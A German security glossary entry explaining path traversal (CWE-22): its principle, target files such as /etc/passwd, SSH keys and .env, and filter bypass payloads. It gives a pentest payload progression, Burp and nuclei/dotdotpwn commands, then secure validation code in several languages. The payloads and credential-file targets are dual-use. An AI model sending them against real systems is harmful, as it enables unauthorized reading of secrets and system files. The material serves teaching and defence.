Zum Inhalt springen

Services, Wiki-Artikel, Blog-Beiträge und Glossar-Einträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen
Schwachstellenklassen Glossar

Path Traversal - Verzeichnisüberschreitung (Directory Traversal)

Path Traversal (CWE-22, OWASP A01:2021) ermöglicht Angreifern durch ../ Sequenzen auf Dateien außerhalb des erlaubten Verzeichnisses zuzugreifen. Ziel: Lesen sensitiver Dateien (/etc/passwd, web.config, .env, SSH-Keys), in schlimmsten Fällen Schreiben/Ausführen von Dateien. Varianten: URL-kodierte Traversal (%2e%2e%2f), doppelt kodiert (%252e%252e%252f), Null-Byte-Injection (.php%00), Windows-Pfade mit Backslash-Notation. Schutz: absolute Pfad-Validierung mit realpath(), Allowlist-basierte Dateiauswahl.

Path Traversal gehört zu den ältesten und beständigsten Web-Schwachstellen. Trotz der langen Geschichte taucht sie regelmäßig in Pentests auf - und 2021 machte die CVE-2021-41773 (Apache HTTP Server) globale Schlagzeilen: ein einzelnes %2e%2e/cgi-bin/ reichte für Remote Code Execution. Das Muster ist immer dasselbe: nicht-validierte Benutzereingaben fließen direkt in Dateisystem-Zugriffe.

Grundprinzip

Normaler Datei-Zugriff:
  https://example.com/download?file=report.pdf
  → Server: /var/www/uploads/report.pdf ← erlaubt

Path Traversal Angriff:
  https://example.com/download?file=../../../etc/passwd
  → Server: /var/www/uploads/../../../etc/passwd
           = /etc/passwd  ← außerhalb des erlaubten Verzeichnisses!

Einfaches verwundbare Implementierung (PHP):
  $file = $_GET['file'];
  readfile('/var/www/uploads/' . $file);  // ← KEIN Schutz!

Typische Angriffsziele:
  Linux:
  → /etc/passwd (Benutzerliste)
  → /etc/shadow (Passwort-Hashes, wenn als root)
  → /etc/hosts (Netzwerk-Konfiguration)
  → ~/.ssh/id_rsa (SSH-Private-Key!)
  → /proc/self/environ (Umgebungsvariablen mit API-Keys!)
  → /proc/self/cmdline (Prozess-Argumente)

  Windows:
  → C:\Windows\win.ini (Systeminfo)
  → C:\Windows\System32\drivers\etc\hosts
  → C:\inetpub\wwwroot\web.config (DB-Passwörter!)
  → C:\Users\[user]\AppData\Local\Microsoft\Outlook\*.ost

  Web-Anwendungen:
  → .env (Datenbankpasswörter, API-Keys, Secrets!)
  → config/database.yml (Rails)
  → WEB-INF/web.xml (Java)
  → ../../../wp-config.php (WordPress)

Bypass-Techniken

Einfache Filter umgehen:

Filter 1: Ersetzt "../" mit "" (nicht rekursiv):
  Bypass: "....//....//....//etc/passwd"
  → Nach Ersatz: "../../../etc/passwd"!

Filter 2: URL-Dekodierung nur einmal:
  Bypass: "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
  → Dekodiert: "../../../etc/passwd"

Filter 3: Slash wird gefiltert:
  Bypass: "%252e%252e%252fetc%252fpasswd"  (doppelt kodiert)
  → Erste Dekodierung: "%2e%2e%2fetc%2fpasswd"
  → Zweite Dekodierung: "../../../etc/passwd"

Filter 4: Erwartet .jpg am Ende:
  Bypass (Null-Byte, Legacy PHP < 5.3.4):
  "../../../../etc/passwd%00.jpg"
  → PHP stoppt bei Null-Byte: liest /etc/passwd
  → .jpg-Check: Dateiname endet mit .jpg ← PASS!

Filter 5: Prüft ob Pfad mit "/uploads/" beginnt:
  Bypass: "/uploads/../../../../etc/passwd"
  → Beginnt mit /uploads/ → PASS!
  → Enthält aber path traversal!

Windows-spezifische Bypasses:
  Backslash: "..\..\..\..\Windows\win.ini"
  URL-kodiert: "..\"..\"..\"..\Windows\win.ini"
  UNC-Pfade: "\\server\share\file"
  Drive-Letter: "C:\Windows\win.ini" (wenn absolute Pfade akzeptiert)

ZIP-/Archive-basierter Path Traversal (Zip Slip):
  ZIP-Archiv mit Entry "../../../evil.php"
  → Wenn Anwendung ZIP entpackt: evil.php landet AUSSERHALB des Zielordners!
  → Bekannt als "Zip Slip" (2018, Snyk)
  → Betrifft: Java, Python, Go, Ruby zip-Libraries (ungepatchte Versionen)

Erkennung im Pentest

Systematisches Testing:

1. Parameter-Identifikation:
   → Alle Parameter die auf Dateinamen/Pfade hindeuten:
     ?file=, ?page=, ?path=, ?filename=, ?template=, ?doc=,
     ?view=, ?include=, ?load=, ?source=, ?content=, ?show=

2. Payload-Progression (von einfach nach komplex):
   Stufe 1: Einfach
   ?file=../../../etc/passwd

   Stufe 2: URL-kodiert
   ?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

   Stufe 3: Doppelt kodiert
   ?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

   Stufe 4: Null-Byte (Legacy)
   ?file=../../../etc/passwd%00.pdf

   Stufe 5: OS-spezifisch
   ?file=..\..\..\Windows\win.ini  (Windows)

3. Burp Suite Intruder:
   → Payload-Position: ?file=§value§
   → Payload-Liste: SecLists/Fuzzing/LFI/LFI-Jhaddix.txt
   → Grep Match: "root:x:", "[drivers]", "DB_PASSWORD"

4. Indikatoren für Erfolg:
   → Response enthält "/bin/bash" oder "root:x:0:0:" → /etc/passwd
   → Response enthält "[fonts]" → win.ini
   → Fehler-Message enthält Pfad-Information: "Failed to open /etc/..."

5. Automatisiertes Testing:
   # Nuclei mit LFI-Templates:
   nuclei -u https://target.com -tags lfi

   # dotdotpwn:
   dotdotpwn -m http -h target.com -u "https://target.com/page?file=TRAVERSAL"

Schutzmaßnahmen

Sichere Implementierungen nach Sprache:

PHP - realpath() für absolute Pfad-Validierung:
  $base = realpath('/var/www/uploads');
  $requested = realpath($base . '/' . $_GET['file']);

  if ($requested === false ||
      strpos($requested, $base) !== 0) {
    die('Zugriff verweigert');
  }
  // Erst hier: Datei lesen

  Warum realpath() korrekt ist:
  → Löst alle ../ auf (auch URL-kodierte nach Dekodierung)
  → Gibt FALSE zurück wenn Datei nicht existiert → Angriff erkennbar
  → Vergleich mit $base: außerhalb? → DENY!

Python - pathlib für sichere Pfad-Validierung:
  from pathlib import Path

  BASE_DIR = Path('/var/www/uploads').resolve()
  requested = (BASE_DIR / user_input).resolve()

  try:
    requested.relative_to(BASE_DIR)  # Wirft ValueError wenn außerhalb!
  except ValueError:
    raise PermissionError('Zugriff verweigert')

  # Jetzt sicher:
  content = requested.read_bytes()

Java - Path.normalize() + startsWith():
  Path base = Paths.get("/uploads").toAbsolutePath().normalize();
  Path requested = base.resolve(userInput).normalize();

  if (!requested.startsWith(base)) {
    throw new SecurityException("Path traversal detected");
  }

Node.js - path.resolve() + startsWith():
  const base = path.resolve('/uploads');
  const requested = path.resolve(base, userInput);

  if (!requested.startsWith(base + path.sep)) {
    return res.status(403).send('Forbidden');
  }

Allowlist-Ansatz (am sichersten):
  // Statt freie Pfade: nur erlaubte Dateinamen
  const ALLOWED_FILES = {
    'manual': 'manual.pdf',
    'report': 'q4-report.pdf',
  };

  const filename = ALLOWED_FILES[req.query.doc];
  if (!filename) return res.status(400).send('Invalid document');
  res.sendFile(path.join('/uploads', filename));

Betriebssystem-Ebene:
  □ Web-Server-Prozess nur mit minimalen Rechten (kein root!)
  □ chroot-Jail oder Container-Isolation
  □ AppArmor/SELinux-Profile: Lesezugriff nur auf definierte Pfade
  □ WAF-Regeln: "../" und Kodierungsvarianten blocken
  □ Logging: File-Zugriffe für anomale Pfade alertieren

Cookielose Analyse via Matomo (selbst gehostet, kein Tracking-Cookie). Datenschutzerklärung